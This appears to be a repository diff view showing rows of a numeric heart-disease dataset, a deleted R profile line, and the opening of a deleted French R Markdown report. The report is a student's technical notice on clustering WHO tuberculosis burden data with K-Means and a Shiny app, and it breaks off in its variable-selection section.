35,1,0,126,282,0,0,156,1,0,2,0,3,0
70,1,2,160,269,0,1,112,1,2.9,1,1,3,0
59,0,0,174,249,0,1,143,1,0,1,0,2,0
64,1,0,145,212,0,0,132,0,2,1,2,1,0
57,1,0,152,274,0,1,88,1,1.2,1,1,3,0
56,1,0,132,184,0,0,105,1,2.1,1,1,1,0
48,1,0,124,274,0,0,166,0,0.5,1,0,3,0
56,0,0,134,409,0,0,150,1,1.9,1,2,3,0
66,1,1,160,246,0,1,120,1,0,1,3,1,0
54,1,1,192,283,0,0,195,0,0,2,1,3,0
69,1,2,140,254,0,0,146,0,2,1,3,3,0
51,1,0,140,298,0,1,122,1,4.2,1,3,3,0
43,1,0,132,247,1,0,143,1,0.1,1,4,3,0
62,0,0,138,294,1,1,106,0,1.9,1,3,2,0
67,1,0,100,299,0,0,125,1,0.9,1,2,2,0
59,1,3,160,273,0,0,125,0,0,2,0,2,0
45,1,0,142,309,0,0,147,1,0,1,3,3,0
58,1,0,128,259,0,0,130,1,3,1,2,3,0
50,1,0,144,200,0,0,126,1,0.9,1,0,3,0
62,0,0,150,244,0,1,154,1,1.4,1,0,2,0
38,1,3,120,231,0,1,182,1,3.8,1,0,3,0
66,0,0,178,228,1,1,165,1,1,1,2,3,0
52,1,0,112,230,0,1,160,0,0,2,1,2,0
53,1,0,123,282,0,1,95,1,2,1,2,3,0
63,0,0,108,269,0,1,169,1,1.8,1,2,2,0
54,1,0,110,206,0,0,108,1,0,1,1,2,0
66,1,0,112,212,0,0,132,1,0.1,2,1,2,0
55,0,0,180,327,0,2,117,1,3.4,1,0,2,0
49,1,2,118,149,0,0,126,0,0.8,2,3,2,0
54,1,0,122,286,0,0,116,1,3.2,1,2,2,0
56,1,0,130,283,1,0,103,1,1.6,0,0,3,0
46,1,0,120,249,0,0,144,0,0.8,2,0,3,0
61,1,3,134,234,0,1,145,0,2.6,1,2,2,0
67,1,0,120,237,0,1,71,0,1,1,0,2,0
58,1,0,100,234,0,1,156,0,0.1,2,1,3,0
47,1,0,110,275,0,0,118,1,1,1,1,2,0
52,1,0,125,212,0,1,168,0,1,2,2,3,0
58,1,0,146,218,0,1,105,0,2,1,1,3,0
57,1,1,124,261,0,1,141,0,0.3,2,0,3,0
58,0,1,136,319,1,0,152,0,0,2,2,2,0
61,1,0,138,166,0,0,125,1,3.6,1,1,2,0
42,1,0,136,315,0,1,125,1,1.8,1,0,1,0
52,1,0,128,204,1,1,156,1,1,1,0,0,0
59,1,2,126,218,1,1,134,0,2.2,1,1,1,0
40,1,0,152,223,0,1,181,0,0,2,0,3,0
61,1,0,140,207,0,0,138,1,1.9,2,1,3,0
46,1,0,140,311,0,1,120,1,1.8,1,2,3,0
59,1,3,134,204,0,1,162,0,0.8,2,2,2,0
57,1,1,154,232,0,0,164,0,0,2,1,2,0
57,1,0,110,335,0,1,143,1,3,1,1,3,0
55,0,0,128,205,0,2,130,1,2,1,1,3,0
61,1,0,148,203,0,1,161,0,0,2,1,3,0
58,1,0,114,318,0,2,140,0,4.4,0,3,1,0
58,0,0,170,225,1,0,146,1,2.8,1,2,1,0
67,1,2,152,212,0,0,150,0,0.8,1,0,3,0
44,1,0,120,169,0,1,144,1,2.8,0,0,1,0
63,1,0,140,187,0,0,144,1,4,2,2,3,0
63,0,0,124,197,0,1,136,1,0,1,0,2,0
59,1,0,164,176,1,0,90,0,1,1,2,1,0
57,0,0,140,241,0,1,123,1,0.2,1,0,3,0
45,1,3,110,264,0,1,132,0,1.2,1,0,3,0
68,1,0,144,193,1,1,141,0,3.4,1,2,3,0
57,1,0,130,131,0,1,115,1,1.2,1,1,3,0
57,0,1,130,236,0,0,174,0,0,1,1,2,0
1 age sex cp trestbps chol fbs restecg thalach exang oldpeak slope ca thal target
2 63 1 3 145 233 1 0 150 0 2.3 0 0 1 1
3 37 1 2 130 250 0 1 187 0 3.5 0 0 2 1
4 41 0 1 130 204 0 0 172 0 1.4 2 0 2 1
5 56 1 1 120 236 0 1 178 0 0.8 2 0 2 1
6 57 0 0 120 354 0 1 163 1 0.6 2 0 2 1
7 57 1 0 140 192 0 1 148 0 0.4 1 0 1 1
8 56 0 1 140 294 0 0 153 0 1.3 1 0 2 1
9 44 1 1 120 263 0 1 173 0 0 2 0 3 1
10 52 1 2 172 199 1 1 162 0 0.5 2 0 3 1
11 57 1 2 150 168 0 1 174 0 1.6 2 0 2 1
12 54 1 0 140 239 0 1 160 0 1.2 2 0 2 1
13 48 0 2 130 275 0 1 139 0 0.2 2 0 2 1
14 49 1 1 130 266 0 1 171 0 0.6 2 0 2 1
15 64 1 3 110 211 0 0 144 1 1.8 1 0 2 1
16 58 0 3 150 283 1 0 162 0 1 2 0 2 1
17 50 0 2 120 219 0 1 158 0 1.6 1 0 2 1
18 58 0 2 120 340 0 1 172 0 0 2 0 2 1
19 66 0 3 150 226 0 1 114 0 2.6 0 0 2 1
20 43 1 0 150 247 0 1 171 0 1.5 2 0 2 1
21 69 0 3 140 239 0 1 151 0 1.8 2 2 2 1
22 59 1 0 135 234 0 1 161 0 0.5 1 0 3 1
23 44 1 2 130 233 0 1 179 1 0.4 2 0 2 1
24 42 1 0 140 226 0 1 178 0 0 2 0 2 1
25 61 1 2 150 243 1 1 137 1 1 1 0 2 1
26 40 1 3 140 199 0 1 178 1 1.4 2 0 3 1
27 71 0 1 160 302 0 1 162 0 0.4 2 2 2 1
28 59 1 2 150 212 1 1 157 0 1.6 2 0 2 1
29 51 1 2 110 175 0 1 123 0 0.6 2 0 2 1
30 65 0 2 140 417 1 0 157 0 0.8 2 1 2 1
31 53 1 2 130 197 1 0 152 0 1.2 0 0 2 1
32 41 0 1 105 198 0 1 168 0 0 2 1 2 1
33 65 1 0 120 177 0 1 140 0 0.4 2 0 3 1
34 44 1 1 130 219 0 0 188 0 0 2 0 2 1
35 54 1 2 125 273 0 0 152 0 0.5 0 1 2 1
36 51 1 3 125 213 0 0 125 1 1.4 2 1 2 1
37 46 0 2 142 177 0 0 160 1 1.4 0 0 2 1
38 54 0 2 135 304 1 1 170 0 0 2 0 2 1
39 54 1 2 150 232 0 0 165 0 1.6 2 0 3 1
40 65 0 2 155 269 0 1 148 0 0.8 2 0 2 1
41 65 0 2 160 360 0 0 151 0 0.8 2 0 2 1
42 51 0 2 140 308 0 0 142 0 1.5 2 1 2 1
43 48 1 1 130 245 0 0 180 0 0.2 1 0 2 1
44 45 1 0 104 208 0 0 148 1 3 1 0 2 1
45 53 0 0 130 264 0 0 143 0 0.4 1 0 2 1
46 39 1 2 140 321 0 0 182 0 0 2 0 2 1
47 52 1 1 120 325 0 1 172 0 0.2 2 0 2 1
48 44 1 2 140 235 0 0 180 0 0 2 0 2 1
49 47 1 2 138 257 0 0 156 0 0 2 0 2 1
50 53 0 2 128 216 0 0 115 0 0 2 0 0 1
51 53 0 0 138 234 0 0 160 0 0 2 0 2 1
52 51 0 2 130 256 0 0 149 0 0.5 2 0 2 1
53 66 1 0 120 302 0 0 151 0 0.4 1 0 2 1
54 62 1 2 130 231 0 1 146 0 1.8 1 3 3 1
55 44 0 2 108 141 0 1 175 0 0.6 1 0 2 1
56 63 0 2 135 252 0 0 172 0 0 2 0 2 1
57 52 1 1 134 201 0 1 158 0 0.8 2 1 2 1
58 48 1 0 122 222 0 0 186 0 0 2 0 2 1
59 45 1 0 115 260 0 0 185 0 0 2 0 2 1
60 34 1 3 118 182 0 0 174 0 0 2 0 2 1
61 57 0 0 128 303 0 0 159 0 0 2 1 2 1
62 71 0 2 110 265 1 0 130 0 0 2 1 2 1
63 54 1 1 108 309 0 1 156 0 0 2 0 3 1
64 52 1 3 118 186 0 0 190 0 0 1 0 1 1
65 41 1 1 135 203 0 1 132 0 0 1 0 1 1
66 58 1 2 140 211 1 0 165 0 0 2 0 2 1
67 35 0 0 138 183 0 1 182 0 1.4 2 0 2 1
68 51 1 2 100 222 0 1 143 1 1.2 1 0 2 1
69 45 0 1 130 234 0 0 175 0 0.6 1 0 2 1
70 44 1 1 120 220 0 1 170 0 0 2 0 2 1
71 62 0 0 124 209 0 1 163 0 0 2 0 2 1
72 54 1 2 120 258 0 0 147 0 0.4 1 0 3 1
73 51 1 2 94 227 0 1 154 1 0 2 1 3 1
74 29 1 1 130 204 0 0 202 0 0 2 0 2 1
75 51 1 0 140 261 0 0 186 1 0 2 0 2 1
76 43 0 2 122 213 0 1 165 0 0.2 1 0 2 1
77 55 0 1 135 250 0 0 161 0 1.4 1 0 2 1
78 51 1 2 125 245 1 0 166 0 2.4 1 0 2 1
79 59 1 1 140 221 0 1 164 1 0 2 0 2 1
80 52 1 1 128 205 1 1 184 0 0 2 0 2 1
81 58 1 2 105 240 0 0 154 1 0.6 1 0 3 1
82 41 1 2 112 250 0 1 179 0 0 2 0 2 1
83 45 1 1 128 308 0 0 170 0 0 2 0 2 1
84 60 0 2 102 318 0 1 160 0 0 2 1 2 1
85 52 1 3 152 298 1 1 178 0 1.2 1 0 3 1
86 42 0 0 102 265 0 0 122 0 0.6 1 0 2 1
87 67 0 2 115 564 0 0 160 0 1.6 1 0 3 1
88 68 1 2 118 277 0 1 151 0 1 2 1 3 1
89 46 1 1 101 197 1 1 156 0 0 2 0 3 1
90 54 0 2 110 214 0 1 158 0 1.6 1 0 2 1
91 58 0 0 100 248 0 0 122 0 1 1 0 2 1
92 48 1 2 124 255 1 1 175 0 0 2 2 2 1
93 57 1 0 132 207 0 1 168 1 0 2 0 3 1
94 52 1 2 138 223 0 1 169 0 0 2 4 2 1
95 54 0 1 132 288 1 0 159 1 0 2 1 2 1
96 45 0 1 112 160 0 1 138 0 0 1 0 2 1
97 53 1 0 142 226 0 0 111 1 0 2 0 3 1
98 62 0 0 140 394 0 0 157 0 1.2 1 0 2 1
99 52 1 0 108 233 1 1 147 0 0.1 2 3 3 1
100 43 1 2 130 315 0 1 162 0 1.9 2 1 2 1
101 53 1 2 130 246 1 0 173 0 0 2 3 2 1
102 42 1 3 148 244 0 0 178 0 0.8 2 2 2 1
103 59 1 3 178 270 0 0 145 0 4.2 0 0 3 1
104 63 0 1 140 195 0 1 179 0 0 2 2 2 1
105 42 1 2 120 240 1 1 194 0 0.8 0 0 3 1
106 50 1 2 129 196 0 1 163 0 0 2 0 2 1
107 68 0 2 120 211 0 0 115 0 1.5 1 0 2 1
108 69 1 3 160 234 1 0 131 0 0.1 1 1 2 1
109 45 0 0 138 236 0 0 152 1 0.2 1 0 2 1
110 50 0 1 120 244 0 1 162 0 1.1 2 0 2 1
111 50 0 0 110 254 0 0 159 0 0 2 0 2 1
112 64 0 0 180 325 0 1 154 1 0 2 0 2 1
113 57 1 2 150 126 1 1 173 0 0.2 2 1 3 1
114 64 0 2 140 313 0 1 133 0 0.2 2 0 3 1
115 43 1 0 110 211 0 1 161 0 0 2 0 3 1
116 55 1 1 130 262 0 1 155 0 0 2 0 2 1
117 37 0 2 120 215 0 1 170 0 0 2 0 2 1
118 41 1 2 130 214 0 0 168 0 2 1 0 2 1
119 56 1 3 120 193 0 0 162 0 1.9 1 0 3 1
120 46 0 1 105 204 0 1 172 0 0 2 0 2 1
121 46 0 0 138 243 0 0 152 1 0 1 0 2 1
122 64 0 0 130 303 0 1 122 0 2 1 2 2 1
123 59 1 0 138 271 0 0 182 0 0 2 0 2 1
124 41 0 2 112 268 0 0 172 1 0 2 0 2 1
125 54 0 2 108 267 0 0 167 0 0 2 0 2 1
126 39 0 2 94 199 0 1 179 0 0 2 0 2 1
127 34 0 1 118 210 0 1 192 0 0.7 2 0 2 1
128 47 1 0 112 204 0 1 143 0 0.1 2 0 2 1
129 67 0 2 152 277 0 1 172 0 0 2 1 2 1
130 52 0 2 136 196 0 0 169 0 0.1 1 0 2 1
131 74 0 1 120 269 0 0 121 1 0.2 2 1 2 1
132 54 0 2 160 201 0 1 163 0 0 2 1 2 1
133 49 0 1 134 271 0 1 162 0 0 1 0 2 1
134 42 1 1 120 295 0 1 162 0 0 2 0 2 1
135 41 1 1 110 235 0 1 153 0 0 2 0 2 1
136 41 0 1 126 306 0 1 163 0 0 2 0 2 1
137 49 0 0 130 269 0 1 163 0 0 2 0 2 1
138 60 0 2 120 178 1 1 96 0 0 2 0 2 1
139 62 1 1 128 208 1 0 140 0 0 2 0 2 1
140 57 1 0 110 201 0 1 126 1 1.5 1 0 1 1
141 64 1 0 128 263 0 1 105 1 0.2 1 1 3 1
142 51 0 2 120 295 0 0 157 0 0.6 2 0 2 1
143 43 1 0 115 303 0 1 181 0 1.2 1 0 2 1
144 42 0 2 120 209 0 1 173 0 0 1 0 2 1
145 67 0 0 106 223 0 1 142 0 0.3 2 2 2 1
146 76 0 2 140 197 0 2 116 0 1.1 1 0 2 1
147 70 1 1 156 245 0 0 143 0 0 2 0 2 1
148 44 0 2 118 242 0 1 149 0 0.3 1 1 2 1
149 60 0 3 150 240 0 1 171 0 0.9 2 0 2 1
150 44 1 2 120 226 0 1 169 0 0 2 0 2 1
151 42 1 2 130 180 0 1 150 0 0 2 0 2 1
152 66 1 0 160 228 0 0 138 0 2.3 2 0 1 1
153 71 0 0 112 149 0 1 125 0 1.6 1 0 2 1
154 64 1 3 170 227 0 0 155 0 0.6 1 0 3 1
155 66 0 2 146 278 0 0 152 0 0 1 1 2 1
156 39 0 2 138 220 0 1 152 0 0 1 0 2 1
157 58 0 0 130 197 0 1 131 0 0.6 1 0 2 1
158 47 1 2 130 253 0 1 179 0 0 2 0 2 1
159 35 1 1 122 192 0 1 174 0 0 2 0 2 1
160 58 1 1 125 220 0 1 144 0 0.4 1 4 3 1
161 56 1 1 130 221 0 0 163 0 0 2 0 3 1
162 56 1 1 120 240 0 1 169 0 0 0 0 2 1
163 55 0 1 132 342 0 1 166 0 1.2 2 0 2 1
164 41 1 1 120 157 0 1 182 0 0 2 0 2 1
165 38 1 2 138 175 0 1 173 0 0 2 4 2 1
166 38 1 2 138 175 0 1 173 0 0 2 4 2 1
167 67 1 0 160 286 0 0 108 1 1.5 1 3 2 0
168 67 1 0 120 229 0 0 129 1 2.6 1 2 3 0
169 62 0 0 140 268 0 0 160 0 3.6 0 2 2 0
170 63 1 0 130 254 0 0 147 0 1.4 1 1 3 0
171 53 1 0 140 203 1 0 155 1 3.1 0 0 3 0
172 56 1 2 130 256 1 0 142 1 0.6 1 1 1 0
173 48 1 1 110 229 0 1 168 0 1 0 0 3 0
174 58 1 1 120 284 0 0 160 0 1.8 1 0 2 0
175 58 1 2 132 224 0 0 173 0 3.2 2 2 3 0
176 60 1 0 130 206 0 0 132 1 2.4 1 2 3 0
177 40 1 0 110 167 0 0 114 1 2 1 0 3 0
178 60 1 0 117 230 1 1 160 1 1.4 2 2 3 0
179 64 1 2 140 335 0 1 158 0 0 2 0 2 0
180 43 1 0 120 177 0 0 120 1 2.5 1 0 3 0
181 57 1 0 150 276 0 0 112 1 0.6 1 1 1 0
182 55 1 0 132 353 0 1 132 1 1.2 1 1 3 0
183 65 0 0 150 225 0 0 114 0 1 1 3 3 0
184 61 0 0 130 330 0 0 169 0 0 2 0 2 0
185 58 1 2 112 230 0 0 165 0 2.5 1 1 3 0
186 50 1 0 150 243 0 0 128 0 2.6 1 0 3 0
187 44 1 0 112 290 0 0 153 0 0 2 1 2 0
188 60 1 0 130 253 0 1 144 1 1.4 2 1 3 0
189 54 1 0 124 266 0 0 109 1 2.2 1 1 3 0
190 50 1 2 140 233 0 1 163 0 0.6 1 1 3 0
191 41 1 0 110 172 0 0 158 0 0 2 0 3 0
192 51 0 0 130 305 0 1 142 1 1.2 1 0 3 0
193 58 1 0 128 216 0 0 131 1 2.2 1 3 3 0
194 54 1 0 120 188 0 1 113 0 1.4 1 1 3 0
195 60 1 0 145 282 0 0 142 1 2.8 1 2 3 0
196 60 1 2 140 185 0 0 155 0 3 1 0 2 0
197 59 1 0 170 326 0 0 140 1 3.4 0 0 3 0
198 46 1 2 150 231 0 1 147 0 3.6 1 0 2 0
199 67 1 0 125 254 1 1 163 0 0.2 1 2 3 0
200 62 1 0 120 267 0 1 99 1 1.8 1 2 3 0
201 65 1 0 110 248 0 0 158 0 0.6 2 2 1 0
202 44 1 0 110 197 0 0 177 0 0 2 1 2 0
203 60 1 0 125 258 0 0 141 1 2.8 1 1 3 0
204 58 1 0 150 270 0 0 111 1 0.8 2 0 3 0
205 68 1 2 180 274 1 0 150 1 1.6 1 0 3 0
206 62 0 0 160 164 0 0 145 0 6.2 0 3 3 0
207 52 1 0 128 255 0 1 161 1 0 2 1 3 0
208 59 1 0 110 239 0 0 142 1 1.2 1 1 3 0
209 60 0 0 150 258 0 0 157 0 2.6 1 2 3 0
210 49 1 2 120 188 0 1 139 0 2 1 3 3 0
211 59 1 0 140 177 0 1 162 1 0 2 1 3 0
212 57 1 2 128 229 0 0 150 0 0.4 1 1 3 0
213 61 1 0 120 260 0 1 140 1 3.6 1 1 3 0
214 39 1 0 118 219 0 1 140 0 1.2 1 0 3 0
215 61 0 0 145 307 0 0 146 1 1 1 0 3 0
216 56 1 0 125 249 1 0 144 1 1.2 1 1 2 0
217 43 0 0 132 341 1 0 136 1 3 1 0 3 0
218 62 0 2 130 263 0 1 97 0 1.2 1 1 3 0
219 63 1 0 130 330 1 0 132 1 1.8 2 3 3 0
220 65 1 0 135 254 0 0 127 0 2.8 1 1 3 0
221 48 1 0 130 256 1 0 150 1 0 2 2 3 0
222 63 0 0 150 407 0 0 154 0 4 1 3 3 0
223 55 1 0 140 217 0 1 111 1 5.6 0 0 3 0
224 65 1 3 138 282 1 0 174 0 1.4 1 1 2 0
225 56 0 0 200 288 1 0 133 1 4 0 2 3 0
226 54 1 0 110 239 0 1 126 1 2.8 1 1 3 0
227 70 1 0 145 174 0 1 125 1 2.6 0 0 3 0
228 62 1 1 120 281 0 0 103 0 1.4 1 1 3 0
229 35 1 0 120 198 0 1 130 1 1.6 1 0 3 0
230 59 1 3 170 288 0 0 159 0 0.2 1 0 3 0
231 64 1 2 125 309 0 1 131 1 1.8 1 0 3 0
232 47 1 2 108 243 0 1 152 0 0 2 0 2 0
233 57 1 0 165 289 1 0 124 0 1 1 3 3 0
234 55 1 0 160 289 0 0 145 1 0.8 1 1 3 0
235 64 1 0 120 246 0 0 96 1 2.2 0 1 2 0
236 70 1 0 130 322 0 0 109 0 2.4 1 3 2 0
237 51 1 0 140 299 0 1 173 1 1.6 2 0 3 0
238 58 1 0 125 300 0 0 171 0 0 2 2 3 0
239 60 1 0 140 293 0 0 170 0 1.2 1 2 3 0
240 77 1 0 125 304 0 0 162 1 0 2 3 2 0
241 35 1 0 126 282 0 0 156 1 0 2 0 3 0
242 70 1 2 160 269 0 1 112 1 2.9 1 1 3 0
243 59 0 0 174 249 0 1 143 1 0 1 0 2 0
244 64 1 0 145 212 0 0 132 0 2 1 2 1 0
245 57 1 0 152 274 0 1 88 1 1.2 1 1 3 0
246 56 1 0 132 184 0 0 105 1 2.1 1 1 1 0
247 48 1 0 124 274 0 0 166 0 0.5 1 0 3 0
248 56 0 0 134 409 0 0 150 1 1.9 1 2 3 0
249 66 1 1 160 246 0 1 120 1 0 1 3 1 0
250 54 1 1 192 283 0 0 195 0 0 2 1 3 0
251 69 1 2 140 254 0 0 146 0 2 1 3 3 0
252 51 1 0 140 298 0 1 122 1 4.2 1 3 3 0
253 43 1 0 132 247 1 0 143 1 0.1 1 4 3 0
254 62 0 0 138 294 1 1 106 0 1.9 1 3 2 0
255 67 1 0 100 299 0 0 125 1 0.9 1 2 2 0
256 59 1 3 160 273 0 0 125 0 0 2 0 2 0
257 45 1 0 142 309 0 0 147 1 0 1 3 3 0
258 58 1 0 128 259 0 0 130 1 3 1 2 3 0
259 50 1 0 144 200 0 0 126 1 0.9 1 0 3 0
260 62 0 0 150 244 0 1 154 1 1.4 1 0 2 0
261 38 1 3 120 231 0 1 182 1 3.8 1 0 3 0
262 66 0 0 178 228 1 1 165 1 1 1 2 3 0
263 52 1 0 112 230 0 1 160 0 0 2 1 2 0
264 53 1 0 123 282 0 1 95 1 2 1 2 3 0
265 63 0 0 108 269 0 1 169 1 1.8 1 2 2 0
266 54 1 0 110 206 0 0 108 1 0 1 1 2 0
267 66 1 0 112 212 0 0 132 1 0.1 2 1 2 0
268 55 0 0 180 327 0 2 117 1 3.4 1 0 2 0
269 49 1 2 118 149 0 0 126 0 0.8 2 3 2 0
270 54 1 0 122 286 0 0 116 1 3.2 1 2 2 0
271 56 1 0 130 283 1 0 103 1 1.6 0 0 3 0
272 46 1 0 120 249 0 0 144 0 0.8 2 0 3 0
273 61 1 3 134 234 0 1 145 0 2.6 1 2 2 0
274 67 1 0 120 237 0 1 71 0 1 1 0 2 0
275 58 1 0 100 234 0 1 156 0 0.1 2 1 3 0
276 47 1 0 110 275 0 0 118 1 1 1 1 2 0
277 52 1 0 125 212 0 1 168 0 1 2 2 3 0
278 58 1 0 146 218 0 1 105 0 2 1 1 3 0
279 57 1 1 124 261 0 1 141 0 0.3 2 0 3 0
280 58 0 1 136 319 1 0 152 0 0 2 2 2 0
281 61 1 0 138 166 0 0 125 1 3.6 1 1 2 0
282 42 1 0 136 315 0 1 125 1 1.8 1 0 1 0
283 52 1 0 128 204 1 1 156 1 1 1 0 0 0
284 59 1 2 126 218 1 1 134 0 2.2 1 1 1 0
285 40 1 0 152 223 0 1 181 0 0 2 0 3 0
286 61 1 0 140 207 0 0 138 1 1.9 2 1 3 0
287 46 1 0 140 311 0 1 120 1 1.8 1 2 3 0
288 59 1 3 134 204 0 1 162 0 0.8 2 2 2 0
289 57 1 1 154 232 0 0 164 0 0 2 1 2 0
290 57 1 0 110 335 0 1 143 1 3 1 1 3 0
291 55 0 0 128 205 0 2 130 1 2 1 1 3 0
292 61 1 0 148 203 0 1 161 0 0 2 1 3 0
293 58 1 0 114 318 0 2 140 0 4.4 0 3 1 0
294 58 0 0 170 225 1 0 146 1 2.8 1 2 1 0
295 67 1 2 152 212 0 0 150 0 0.8 1 0 3 0
296 44 1 0 120 169 0 1 144 1 2.8 0 0 1 0
297 63 1 0 140 187 0 0 144 1 4 2 2 3 0
298 63 0 0 124 197 0 1 136 1 0 1 0 2 0
299 59 1 0 164 176 1 0 90 0 1 1 2 1 0
300 57 0 0 140 241 0 1 123 1 0.2 1 0 3 0
301 45 1 3 110 264 0 1 132 0 1.2 1 0 3 0
302 68 1 0 144 193 1 1 141 0 3.4 1 2 3 0
303 57 1 0 130 131 0 1 115 1 1.2 1 1 3 0
304 57 0 1 130 236 0 0 174 0 0 1 1 2 0

View File

@@ -1 +0,0 @@
source("renv/activate.R")

View File

@@ -1,801 +0,0 @@
---
output:
pdf_document:
number_sections: true
toc: false
toc_depth: 2
fig_caption: true
highlight: tango
latex_engine: xelatex
geometry: "left=2cm,right=2cm,top=2cm,bottom=2cm"
header-includes:
- \usepackage{titling}
- \usepackage{graphicx}
- \usepackage{fancyhdr}
- \pagestyle{fancy}
- \fancyhead[L]{Notice Technique - Tuberculose}
- \fancyhead[R]{Arthur DANJOU}
- \fancyfoot[C]{\thepage}
---
\begin{titlepage}
\begin{center}
\vspace*{1cm}
% --- En-tête Université ---
{\Large \textsc{Université Paris-Dauphine -- PSL}} \\
\vspace{0.2cm}
{\large Master 280 -- Ingénierie Statistique et Financière}
\vspace{1.5cm}
% --- Bloc Titre ---
\hrulefill
\vspace{0.4cm}
{\bfseries \Huge \uppercase{Monitorage et Segmentation \\[0.3cm] de la Tuberculose (OMS)}}
\vspace{0.4cm}
\hrulefill
\vspace{1.5cm}
% --- AJOUT : Problématique ---
% Utilisation d'une minipage pour contrôler la largeur du texte (80% de la page)
\begin{minipage}{0.85\textwidth}
\centering
\Large \textit{«~Au-delà des agrégats nationaux : comment l'analyse multivariée permet-elle de révéler une typologie opérationnelle des risques sanitaires mondiaux face à la tuberculose ?~»}
\end{minipage}
\vspace{2cm}
% --- Auteur et Enseignant ---
{\Large \textsc{Arthur DANJOU}} \\
\vspace{1.5cm}
{\large Enseignant :} \\ [0.2cm]
{\large Quentin GUIBERT}
\vfill % Pousse le logo vers le bas de page automatiquement
% --- Logo ---
\includegraphics[height=25mm]{logo_dauphine.jpg}
\vspace{0.5cm}
\hrulefill
\vspace{0.2cm}
% --- Pied de page ---
{\textsc{Data Visualisation \\ Année Universitaire 2025-2026}}
\end{center}
\end{titlepage}
\newpage
\tableofcontents
\newpage
```{r setup, include=FALSE}
knitr::opts_chunk$set(
echo = FALSE,
warning = FALSE,
message = FALSE,
fig.align = "center",
out.width = "75%"
)
library(tidyverse)
library(sf)
library(rnaturalearth)
library(rnaturalearthdata)
library(knitr)
library(kableExtra)
library(gridExtra)
library(moments)
library(factoextra)
```
> * **Application déployée :** [https://go.arthurdanjou.fr/datavis-app](https://go.arthurdanjou.fr/datavis-app)
> * **Code Source de(GitHub) :** [https://go.arthurdanjou.fr/datavis-code](https://go.arthurdanjou.fr/datavis-code)
# Introduction
## Contexte et enjeux sanitaires
Avec 1,6 million de décès annuels et plus de 10 millions de nouveaux cas estimés en 2022, la tuberculose (TB) demeure la deuxième maladie infectieuse la plus meurtrière au monde après le COVID-19 (OMS, 2025). Pourtant, derrière ces chiffres globaux se cache une épidémie profondément inégalitaire. Alors que certains pays rapportent une incidence maîtrisée inférieure à 10 cas pour 100 000 habitants, d'autres font face à des taux critiques dépassant les 500 cas, révélant des fractures sanitaires majeures entre les nations.
Pour piloter la réponse mondiale, l'Organisation Mondiale de la Santé produit le *Global Tuberculosis Report*, une base de données exhaustive comptant plus de 200 pays et une quarantaine d'indicateurs. Cependant, la richesse même de ces données pose un défi d'analyse : face à la multitude de variables (incidence, notification, mortalité, co-infection), les tableaux statistiques traditionnels échouent à offrir une vision synthétique et opérationnelle. Ils ne permettent ni d'identifier rapidement les profils à risque, ni de visualiser les dynamiques temporelles complexes.
## Problématique : Au-delà des agrégats nationaux : comment l'analyse multivariée permet-elle de révéler une typologie opérationnelle des risques sanitaires mondiaux face à la tuberculose ?
Ce projet déploie une chaîne de traitement Data Science complète reposant sur trois piliers. Premièrement, une rationalisation de la donnée par sélection de variables et analyse exploratoire (EDA) pour isoler les signaux pertinents. Deuxièmement, une segmentation intelligente (Clustering K-Means) pour identifier des profils de risque homogènes au-delà des simples zones géographiques. Enfin, une opérationnalisation interactive via une application R Shiny, offrant aux décideurs une interface dynamique pour visualiser les tendances 2000-2024.
## Périmètre et Structure
L'étude se concentre sur les indicateurs épidémiologiques "durs" pour garantir la robustesse du modèle, les facteurs exogènes (PIB, dépenses) étant considérés comme contextuels.
La suite de cette notice détaille la méthodologie : la préparation des données (Section 2) et la modélisation mathématique (Section 3) précèdent l'analyse des profils identifiés (Section 4). L'architecture de l'application R Shiny est décrite en Section 5, suivie de l'exploitation des résultats et du benchmarking (Section 6). Le document se clôt sur les perspectives d'évolution (Section 7) et le cadre d'intégrité académique (Section 8).
# Analyse Exploratoire des Données
## Source et structure des données
### Origine et portée des données
Le socle empirique repose sur les données du *Global Tuberculosis Report* 2024 de l'OMS, référence internationale couvrant 25 ans (2000-2024) pour 215 territoires. Le fichier brut de 50 variables s'articule autour de trois dimensions complémentaires : **épidémiologique** (morbidité, mortalité, prise en charge), **démographique** (structure de population nécessaire à la standardisation des taux) et **géopolitique** (métadonnées spatiales et codes ISO-3) dédiées à l'analyse spatiale.
### Convention de nommage et sémantique
L'analyse requiert la maîtrise d'une nomenclature rigoureuse distinguant les **Cas notifiés** (préfixe `c_`, données brutes administratives) des **Estimations modélisées** (préfixe `e_`), par lesquelles l'OMS corrige les biais de sous-déclaration et intègre les incertitudes. Pour cette étude, nous privilégierons exclusivement ces variables estimées (`e_`) : ce choix méthodologique permet de neutraliser l'hétérogénéité des performances administratives locales afin de garantir une comparabilité internationale stricte des dynamiques épidémiques.
### Qualité des données et limites
Bien qu'offrant une profondeur spatio-temporelle unique appuyée par une méthodologie standardisée, ce jeu de données présente des hétérogénéités inhérentes à la surveillance mondiale. Les biais de mesure restent prégnants pour les pays à faibles revenus ou en conflit, où les estimations reposent sur l'extrapolation statistique plutôt que sur un comptage exhaustif, sans compter le caractère provisoire des données récentes (2023-2024). Ces limites intrinsèques justifient l'adoption d'une approche méthodologique prudente, privilégiant l'exclusion des variables incertaines et le rejet de l'imputation pour les observations incomplètes.
### Importation et aperçu initial
```{r}
data_raw <- read.csv("data/TB_burden_countries_2025-12-09.csv")
```
Le jeu de données importé contient $5347$ observations et $50$ variables. Le tableau ci-dessous présente les dix premières lignes du jeu de données, illustrant la structure longitudinale pour le premier pays par ordre alphabétique (Afghanistan) au début de la période d'étude (de 2000 à 2009).
```{r}
data_raw |>
select(year, country, g_whoregion, e_inc_100k, e_mort_exc_tbhiv_100k) |>
head(10) |>
kable(
col.names = c(
"Année",
"Pays",
"Région",
"Incidence (/100k)",
"Mortalité (/100k)"
),
caption = "Aperçu des premières lignes du jeu de données brut",
booktabs = TRUE
) |>
kable_styling(latex_options = c("striped", "hold_position"))
```
## Sélection de variables
La qualité d'une segmentation non-supervisée étant tributaire de la pertinence des entrées, l'injection brute des 50 variables initiales a été écartée pour prévenir deux écueils méthodologiques. D'une part, le **fléau de la dimension** (*Curse of Dimensionality*) qui tend à uniformiser les distances euclidiennes et flouter les clusters et d'autre part, le **biais de redondance**, où la colinéarité des variables risque de surpondérer artificiellement un même phénomène. Nous avons donc déployé une stratégie de réduction de dimension en deux temps : un filtrage structurel (approche par entonnoir) consolidé par un arbitrage statistique des corrélations.
### Approche par entonnoir : élimination des métadonnées, des bornes d'incertitude et des valeurs absolues
